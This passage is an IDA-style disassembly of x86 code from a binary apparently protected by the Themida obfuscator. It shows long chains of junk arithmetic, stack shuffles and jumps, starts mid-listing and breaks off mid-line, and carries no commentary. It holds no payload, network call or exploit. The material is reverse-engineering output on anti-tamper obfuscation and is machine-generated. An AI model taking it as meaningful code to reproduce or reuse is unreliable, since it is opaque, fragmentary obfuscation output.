0058FE90 SIZE 00000012 BYTES sub esp, 4 mov [esp-8+arg_4], ebx mov eax, [esp-8+arg_4] sub esp, 4 mov [esp-4+arg_0], eax jmp loc_58B260 sub_58EFBD endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_58EFD4: ; CODE XREF: Themida_:00586F6Fj add edi, edx sub edi, 61F35348h add edi, 9DF0EEDh pop edx push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_58BAC8 ; --------------------------------------------------------------------------- loc_58EFF1: ; CODE XREF: Themida_:0058D412j xor ecx, edx push dword ptr [esp] pop edx add esp, 4 push 70EDh mov [esp], edi sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] jmp loc_587F73 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_58CB0F ; --------------------------------------------------------------------------- loc_58F034: ; CODE XREF: Themida_:0058D6DFj mov esi, esp add esi, 4 jmp loc_583F90 ; --------------------------------------------------------------------------- lodsd push 0BF5h mov [esp], ebx mov ebx, 6A6A41F6h jmp loc_5889CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58F054: ; CODE XREF: sub_58EFBD-1226j pop ebp jmp loc_58729A ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_58F05A: ; CODE XREF: Themida_:0058B9A5j xor eax, ebp push dword ptr [esp] jmp loc_58BCC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F064: ; CODE XREF: sub_585452+267Fj and eax, esi pop esi jmp loc_58A99E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58F06C: ; CODE XREF: Themida_:00586C42j add esi, 1 xchg esi, ebx push edi mov edi, 5C5716A2h jmp loc_58B0A5 ; --------------------------------------------------------------------------- loc_58F07C: ; CODE XREF: Themida_:0058B7D8j push ecx jmp loc_58AD0B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_58F082: ; CODE XREF: sub_58999B+4j sub al, bh pop bx jmp loc_589BE8 ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58405E loc_58F08B: ; CODE XREF: sub_58405E+FE4j sub eax, 35CA1F92h shr eax, 7 shr eax, 6 jmp loc_588133 ; END OF FUNCTION CHUNK FOR sub_58405E ; --------------------------------------------------------------------------- loc_58F09B: ; CODE XREF: Themida_:00583CB2j and si, 74CDh jmp loc_58C060 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push edi jmp loc_58866B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58F0B4: ; CODE XREF: sub_58EFBD-45Fj push 3646h mov [esp-8+arg_4], edx mov edx, 0 add edx, ebx push ecx mov ecx, 0 push esi mov esi, 4C44859h sub ecx, esi pop esi push edx mov edx, 34846A91h add ecx, edx pop edx add ecx, edx sub ecx, 34846A91h jmp loc_58886D ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_58F0E8: ; CODE XREF: Themida_:0058DF6Bj push esi mov esi, 2CDF3778h add esi, 0D4FF56Eh jmp loc_585E51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_58F0F9: ; CODE XREF: sub_589967-2AE4j push dword ptr [esp+0] mov eax, [esp+0] push 565Eh mov [esp+0], ebx mov ebx, esp add ebx, 4 push esi mov esi, 4 jmp loc_583EC7 ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- loc_58F11A: ; CODE XREF: Themida_:0058C9D8j or ecx, edi pop edi inc ecx jmp loc_58F5A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CA39 loc_58F123: ; CODE XREF: sub_58CA39+237Ej push ecx mov ecx, 4 add edi, ecx pop ecx sub esp, 4 mov [esp+0], eax push ecx push 68F75823h pop ecx add ecx, 79516917h shl ecx, 4 add ecx, 0DB73EC64h mov eax, ecx pop ecx sub edi, eax pop eax xchg edi, [esp-4+arg_0] pop esp mov [esp+0], ebx mov ebx, 0 sub ebx, 2E405031h jmp loc_58FB12 ; END OF FUNCTION CHUNK FOR sub_58CA39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F165: ; CODE XREF: sub_585452+44F6j inc edi sub edi, 2C4A3C48h add edi, 6DFB1A48h xor edi, 8F4C340Fh add ebx, edi pop edi push eax mov eax, 1A68ADh jmp loc_587B1E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58F186: ; CODE XREF: Themida_:00588E9Dj push ebx push ecx jmp loc_585C66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F18D: ; CODE XREF: sub_585452+80EAj mov bl, 7Eh neg bl xchg dl, bl neg dl xchg dl, bl shr bl, 3 dec bl jmp loc_58F24C ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58F1A1: ; CODE XREF: Themida_:00583F3Bj mov ch, 0EAh mov bl, ch pop cx add al, bl pop ebx sub al, cl jmp loc_58FA0B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58405E loc_58F1B1: ; CODE XREF: sub_58405E+5D57j pop ebx add eax, edi sub eax, 479C021Dh pop edi xor ebx, eax sub esp, 4 mov [esp+0], eax sub esp, 4 jmp loc_58C5D8 ; END OF FUNCTION CHUNK FOR sub_58405E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F1CD: ; CODE XREF: sub_585452+764Bj mov dh, 1 shr dh, 6 and dh, 24h shr dh, 6 inc dh sub dh, 0ECh xor dh, 0F4h mov ah, dh mov edx, [esp+42h+var_44+2] jmp loc_5841A4 ; --------------------------------------------------------------------------- loc_58F1EA: ; CODE XREF: sub_585452+3614j pop edx jmp loc_588FB2 ; --------------------------------------------------------------------------- loc_58F1F0: ; CODE XREF: sub_585452+501Ej xor eax, ebx pop ebx push ebx mov ebx, 3D674D35h push 4C68h mov [esp+12h+var_14+2], eax mov eax, 2BD19BDh jmp loc_58623F ; --------------------------------------------------------------------------- loc_58F20B: ; CODE XREF: sub_585452+12A4j add ecx, 6589CBC3h dec ecx add ecx, 89F71A10h add edx, ecx jmp loc_588460 ; --------------------------------------------------------------------------- loc_58F21F: ; CODE XREF: sub_585452+76E9j mov [esp-2Eh+arg_28+2], eax jmp loc_58B8FC ; --------------------------------------------------------------------------- loc_58F227: ; CODE XREF: sub_585452+481Ej mov edx, 5843215h add edi, edx pop edx shr edi, 4 jmp loc_58A593 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58F237: ; CODE XREF: Themida_:00589BD7j xchg ecx, [esp] jmp loc_5843A6 ; --------------------------------------------------------------------------- loc_58F23F: ; CODE XREF: Themida_:0058815Bj push ebp mov ebp, esp jmp loc_58D216 ; --------------------------------------------------------------------------- loc_58F247: ; CODE XREF: Themida_:0058E99Ej jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F24C: ; CODE XREF: sub_585452+9D4Aj add bl, 81h jmp loc_58B53E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58F254: ; CODE XREF: Themida_:00587607j push dword ptr [esp] jmp loc_5849B8 ; --------------------------------------------------------------------------- loc_58F25C: ; CODE XREF: Themida_:00584DFEj sub eax, 4 xchg eax, [esp] jmp loc_58A2AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F267: ; CODE XREF: sub_585452+29D2j and ecx, esi jmp loc_58C789 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58F26E: ; CODE XREF: Themida_:0058F65Cj xor edx, 3C80FE1h mov ebx, edx pop edx xchg edi, ebx jmp loc_58A58D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F3BC loc_58F27E: ; CODE XREF: sub_58F3BC-5903j mov [esp+0], ebx jmp loc_589223 ; END OF FUNCTION CHUNK FOR sub_58F3BC ; --------------------------------------------------------------------------- loc_58F286: ; CODE XREF: Themida_:00584FDAj sub bl, 52h movzx eax, al push dword ptr [edi+eax*4] jmp loc_586DE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F294: ; CODE XREF: sub_585452+116Fj jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58F299: ; CODE XREF: sub_585452+30A4j add ecx, edx sub ecx, 49BC24D5h jmp loc_58CA02 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_58F2A6: ; CODE XREF: sub_58C230+12FDj add edi, 4 push eax mov eax, 4 add edi, eax jmp loc_584BE8 ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- loc_58F2B9: ; CODE XREF: Themida_:00584B81j pop eax push ecx mov ecx, 7BFA4B97h inc ecx or ecx, 30C366DDh shr ecx, 5 sub ecx, 6D627994h sub ecx, 5FF460E5h and eax, ecx jmp loc_588CC5 ; --------------------------------------------------------------------------- mov ax, [esp] push 59C2h mov [esp], ebx push 5B8h mov [esp], esp push ecx mov ecx, 4 jmp loc_5862EE ; --------------------------------------------------------------------------- loc_58F2FC: ; CODE XREF: Themida_:0058FD06j xchg ecx, [esp] jmp loc_58C97F ; --------------------------------------------------------------------------- loc_58F304: ; CODE XREF: Themida_:0058E869j neg edi xor edi, 0A01AE222h add ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] and [esp], eax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F31E: ; CODE XREF: sub_585452+7B92j pop esp pop edi push ebp push edi mov edi, 4D773D9Bh push edi pop ebp pop edi push edi mov edi, 0FFFFFFFFh add ebp, edi jmp loc_58E54E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_58F337: ; CODE XREF: sub_58999B-1F7Fj sub bl, dh sub bl, 9 sub bl, 0AFh jmp loc_58D4B0 ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F344: ; CODE XREF: sub_585452+2053j add edx, 59DE34A3h add ebx, edx mov edx, [esp-1Ah+arg_16] add esp, 4 push eax mov eax, 2 jmp loc_58701A ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58F360: ; CODE XREF: Themida_:0058CE06j add esp, 2 add bl, 20h jmp loc_58A02A ; --------------------------------------------------------------------------- loc_58F36B: ; CODE XREF: Themida_:0058A492j push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 sub ebx, ebp pop ebp jmp loc_583F23 ; --------------------------------------------------------------------------- loc_58F382: ; CODE XREF: Themida_:0058AA6Bj sub bl, 0DBh add bl, dh push ecx mov ch, 2Eh shl ch, 8 xor ch, 0DBh add bl, ch pop ecx pop edx push ecx mov cl, 2 add cl, 7 add cl, 0C6h inc cl add cl, 5Fh add bl, cl pop ecx push 78B1h mov [esp], eax mov al, 2Bh sub bl, al jmp loc_58C349 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BE98 loc_58F3B6: ; CODE XREF: sub_58BE98-27Fj dec edi jmp loc_586935 ; END OF FUNCTION CHUNK FOR sub_58BE98 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_58F3BC proc near ; CODE XREF: sub_585452-EBFj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0058406A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00587B5C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00587BD7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00588584 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005886A4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00589223 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00589A9D SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0058F27E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058F4AB SIZE 00000007 BYTES push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+4+var_4] pop esp pop dword ptr [esp+0] pop ebx xor eax, ebx jmp loc_58F4AB sub_58F3BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F3DA: ; CODE XREF: sub_585452+A7CDj push edi jmp loc_584FA4 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- mov ax, [esp] push 7977h mov [esp], ecx jmp loc_5859B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A5A3 loc_58F3F1: ; CODE XREF: sub_58A5A3-2894j push eax pushf jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_58A5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F3F8: ; CODE XREF: sub_585452+4165j pop eax jmp loc_588116 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58F3FE: ; CODE XREF: Themida_:005851F4j dec cl not cl not cl inc cl add cl, 17h sub al, cl mov ecx, [esp] push ebx mov ebx, esp jmp loc_589C39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F416: ; CODE XREF: sub_585452+990j dec [esp+46h+var_48+2] pushf jmp loc_58AD86 ; --------------------------------------------------------------------------- loc_58F41F: ; CODE XREF: sub_585452+80Fj mov [esp-0Ch+arg_8], edi push edx push 36E73A7h pop edx or edx, 59B95429h neg edx jmp loc_5872EE ; --------------------------------------------------------------------------- loc_58F436: ; CODE XREF: sub_585452+6Dj add edx, ebx add edx, 7EEE0BDAh add edx, 134B3EC4h pop ebx sub edx, 0BDFAD1F0h add eax, 5B21063Fh add eax, edx push ebp mov ebp, 5B21063Fh jmp loc_58F97E ; --------------------------------------------------------------------------- loc_58F45D: ; CODE XREF: sub_585452+62D9j shr bl, 6 jmp loc_58A707 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58F465: ; CODE XREF: Themida_:0058C06Dj add bx, si pop esi mov edx, [esp] add esp, 4 add bx, ax sub bx, 141Bh movzx eax, ax push 3180h mov [esp], edi jmp loc_58DDA8 ; =============== S U B R O U T I N E ======================================= sub_58F487 proc near ; CODE XREF: sub_585452+4B5Cj push ebx mov ebx, 2789117Ah xor edi, ebx pop ebx add edx, 66F21A8Ch add edx, edi jmp sub_58E1AF sub_58F487 endp ; --------------------------------------------------------------------------- loc_58F49D: ; CODE XREF: Themida_:0058FA93j push dword ptr [esp] mov eax, [esp] push edx mov edx, esp jmp loc_585763 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F3BC loc_58F4AB: ; CODE XREF: sub_58F3BC+19j xor ebx, eax jmp loc_587B5C ; END OF FUNCTION CHUNK FOR sub_58F3BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_58F4B2: ; CODE XREF: sub_58FA66-806Bj add eax, 4 jmp loc_58B93D ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F4C4: ; CODE XREF: sub_585452+907j pop edi jmp loc_58D2B4 ; --------------------------------------------------------------------------- loc_58F4CA: ; CODE XREF: sub_585452+7F37j jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_58F4CF: ; CODE XREF: sub_587574+5A27j mov esp, [esp+0] mov [esp+0], ebx push 0E7Fh mov [esp-4+arg_0], eax push [esp-4+arg_0] pop ebx push 3EC4h mov [esp+0], edi mov edi, esp add edi, 4 push esi mov esi, 35AB24D3h jmp loc_588732 ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp jmp loc_584DA1 ; --------------------------------------------------------------------------- loc_58F506: ; CODE XREF: Themida_:0058A535j jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F50B: ; CODE XREF: sub_585452+6F8Dj xor eax, 0D31524CDh jmp sub_583C38 ; --------------------------------------------------------------------------- loc_58F515: ; CODE XREF: sub_585452+8A5j pop ebx sub edx, 37D14645h add edx, 3FE81B79h sub edx, eax push 0C87h mov [esp-24h+arg_1E+2], ebx jmp loc_587ABC ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58F531: ; CODE XREF: Themida_:0058981Bj push esi push 1357h mov [esp], esp jmp loc_5855A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F53F: ; CODE XREF: sub_585452+25Bj mov ecx, 5CD23666h jmp loc_588B38 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58F549: ; CODE XREF: Themida_:0058E876j xor esi, 0C97EB73Eh jmp loc_586ACE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F554: ; CODE XREF: sub_585452+4555j push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_58A037 ; --------------------------------------------------------------------------- loc_58F565: ; CODE XREF: sub_585452+350Dj xor edx, 30E860C6h sub edx, 627807D0h sub edx, 0CE70135Dh mov edi, edx pop edx shl edi, 8 shr edi, 8 push edx mov edx, 1B2EFABFh add edi, edx pop edx sub edx, 8C03182h sub edx, edi push ecx mov ecx, 232776D4h jmp loc_58D85F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58F59C: ; CODE XREF: Themida_:0058AA61j mov [esp], edx push ebx mov bl, 0D4h jmp loc_5850CF ; --------------------------------------------------------------------------- loc_58F5A7: ; CODE XREF: Themida_:0058F11Ej add ecx, 0DBB8F3C3h shr ecx, 2 sub ecx, 26700497h xor ecx, 0EE7E184Bh add esi, ecx jmp loc_58CEBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F728 loc_58F5C3: ; CODE XREF: sub_58F728-94CBj shr edx, 1 sub edx, 4C8E0586h xor edx, 75637277h shl edx, 6 xor edx, 7B4E3600h and eax, edx jmp loc_5892C3 ; END OF FUNCTION CHUNK FOR sub_58F728 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F5E1: ; CODE XREF: sub_585452-E4j pop ebx add edx, 37D14645h mov eax, [esp-6+arg_0+2] jmp loc_588AF3 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_58F5F0: ; CODE XREF: sub_587574-A30j xor eax, 6FAA78A9h sub ebp, eax jmp loc_58CF97 ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F5FC: ; CODE XREF: sub_585452+7CAj add edi, ebp pop ebp jmp loc_58C628 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58F604: ; CODE XREF: Themida_:005848AEj sub edx, ebx pop ebx xor ebx, edx pop edx sub esp, 4 mov [esp], edx push 5127h mov [esp], ebp mov ebp, 4B650135h mov edx, 274200DAh xor edx, ebp pop ebp neg edx shl edx, 8 neg edx shr edx, 3 push ebx mov ebx, 45AC6D38h jmp loc_58AA8B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589FD5 loc_58F63D: ; CODE XREF: sub_589FD5-1B83j pop esi pop [esp-8+arg_4] jmp loc_587CB7 ; END OF FUNCTION CHUNK FOR sub_589FD5 ; --------------------------------------------------------------------------- mov cx, [esp] push ecx jmp loc_58A072 ; --------------------------------------------------------------------------- loc_58F650: ; CODE XREF: Themida_:0058C61Bj push edi mov edi, 261B3F81h xor edx, edi pop edi shr edx, 3 jmp loc_58F26E ; --------------------------------------------------------------------------- loc_58F661: ; CODE XREF: Themida_:00586B2Cj push esi mov esi, 767A5A42h xor esi, 767A5A43h add eax, esi jmp loc_5879C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_58F674: ; CODE XREF: sub_58FA66-A7E7j mov eax, esp jmp loc_5840A7 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- loc_58F67B: ; CODE XREF: Themida_:0058A813j push ecx mov ecx, 4 jmp loc_58E1D1 ; --------------------------------------------------------------------------- loc_58F686: ; CODE XREF: Themida_:0058530Cj sub dx, cx jmp loc_58CCC6 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] jmp loc_585DE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F699: ; CODE XREF: sub_585452+4FA2j push [esp+0Eh+var_10+2] pop eax add esp, 4 mov edi, [esp+0Ah+var_C+2] jmp loc_585245 ; --------------------------------------------------------------------------- loc_58F6AB: ; CODE XREF: sub_585452+30Cj pop ecx add edi, eax add edi, 41F04340h pop eax add edi, 4 xor edi, [esp+12h+var_14+2] jmp loc_58CC23 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_586650 loc_58F6C0: ; CODE XREF: sub_586650-218Aj mov eax, [esp+4+var_4] jmp loc_58E19D ; END OF FUNCTION CHUNK FOR sub_586650 ; --------------------------------------------------------------------------- loc_58F6C8: ; CODE XREF: Themida_:0058504Fj push esp pop edi jmp loc_58F87A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58F6CF: ; CODE XREF: sub_58EFBD-7A3Bj mov [esp-8+arg_4], esp add [esp-8+arg_4], 4 mov edi, [esp-8+arg_4] add esp, 4 push ebp push edi mov edi, 3E373FB4h push eax push 35B34D0Ch pop eax xor eax, 73237EC3h add eax, 3890978h xor eax, 1A2F73CBh sub eax, 11FF0EDCh jmp loc_584B9A ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F709: ; CODE XREF: sub_585452+2E56j push [esp-0Ah+arg_4+2] pop ebx push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_58CAED ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58F71E: ; CODE XREF: sub_58EFBD-A420j xor ebp, edi pop edi add edi, ebp jmp loc_5856D7 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; =============== S U B R O U T I N E ======================================= sub_58F728 proc near ; CODE XREF: sub_58B758-471Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 005847B2 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00586256 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005864C4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00587101 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00587868 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00587BCA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00587BF4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005892C3 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0058940D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00589987 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058B266 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058B3A4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058B622 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058B863 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058BABA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058D4D5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058D9E6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058F5C3 SIZE 0000001E BYTES push ebp mov ebp, 0C0493963h jmp loc_58940D sub_58F728 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BCA7 loc_58F733: ; CODE XREF: sub_58BCA7-12BFj pop ebx shr esi, 2 shr esi, 8 inc esi and esi, 16010D2Ch neg esi add esi, 1090Ch add ebx, esi pop esi push esi mov esi, 4 sub ebx, esi pop esi xor ebx, [esp+4+var_4] xor [esp+4+var_4], ebx jmp loc_589CBF ; END OF FUNCTION CHUNK FOR sub_58BCA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F760: ; CODE XREF: sub_585452+36F0j mov edx, 2AD28E22h xor ebp, edx jmp loc_584164 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58F76C: ; CODE XREF: Themida_:0058955Fj xor edi, [esp] mov esp, [esp] jmp loc_586842 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F777: ; CODE XREF: sub_585452+157Bj pop ecx sub ebx, edx jmp loc_58EDC3 ; --------------------------------------------------------------------------- loc_58F77F: ; CODE XREF: sub_585452+A5F3j sub al, ch mov ecx, [esp+42h+var_44+2] push edx jmp loc_588D14 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 jmp loc_584B7A ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], esi push dword ptr [esp+4] mov esi, [esp] push 1450h mov [esp], edi mov edi, esp jmp loc_58427E ; --------------------------------------------------------------------------- loc_58F7BC: ; CODE XREF: Themida_:00587CB2j push edi push edx mov edx, 684C77F7h add [esp+4], edx pop edx pop ebx sub ebx, 684C77F7h pop edi push 0C4Ch mov [esp], ebp push ebx mov ebx, 3CCB3521h mov ebp, 9A25392h xor ebp, ebx jmp loc_584525 ; --------------------------------------------------------------------------- loc_58F7EA: ; CODE XREF: Themida_:00587FEBj push small 0 jmp loc_58EB63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585019 loc_58F7F3: ; CODE XREF: sub_585019+Cj mov ebp, 4 add edx, ebp jmp loc_5849B0 ; END OF FUNCTION CHUNK FOR sub_585019 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F7FF: ; CODE XREF: sub_585452-11A7j push dword ptr [edi+eax*4] push ecx push 3FCh pop ecx push 37BCh mov [esp+4+var_4], ebp mov ebp, 731B6C59h add edi, ebp pop ebp sub edi, 5C37137Ch sub edi, ecx add edi, 5C37137Ch sub edi, 731B6C59h push dword ptr [esp+0] push [esp+4+var_4] pop ecx add esp, 4 push 3220h mov [esp+4+var_4], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+4+var_4] jmp loc_58C128 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58F858: ; CODE XREF: Themida_:00588CC0j pop edi xor eax, ebx jmp loc_587300 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F860: ; CODE XREF: sub_585452+A73Bj not [esp+4+var_4] pop eax xchg eax, [esp+0] push dword ptr [esp+0] pop eax jmp loc_58C8B5 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58F870: ; CODE XREF: Themida_:005846F0j pop esp mov [esp], ebx push edi jmp loc_58B06A ; --------------------------------------------------------------------------- loc_58F87A: ; CODE XREF: Themida_:0058F6CAj add edi, 4 jmp loc_5874C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F885: ; CODE XREF: sub_585452+80FEj shl ebx, 7 jmp loc_58CE3A ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- mov cx, [esp] push ebp push esp push dword ptr [esp] pop ebp jmp loc_58FABB ; --------------------------------------------------------------------------- loc_58F89C: ; CODE XREF: Themida_:0058BBE4j push esp push dword ptr [esp] pop edx add esp, 4 push edi push eax mov eax, 4 mov edi, eax jmp loc_588621 ; --------------------------------------------------------------------------- xor [esp], bp xor bp, [esp] jmp loc_58B7D4 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], eax mov eax, esp push esi mov esi, 4 jmp loc_58EE97 ; --------------------------------------------------------------------------- loc_58F8D6: ; CODE XREF: Themida_:0058A897j pop edx add edx, 4 push ebx jmp loc_5891E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58F8E3: ; CODE XREF: sub_585452+8BDEj push ecx mov ecx, 7A591BB8h and ecx, 0FD1239Eh or ecx, 3070552Ah push 5619h mov [esp+4+var_4], esi mov esi, 3A7157B6h sub ecx, 48403F86h sub ecx, esi add ecx, 48403F86h mov esi, [esp+4+var_4] jmp loc_58B3E3 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58905F loc_58F918: ; CODE 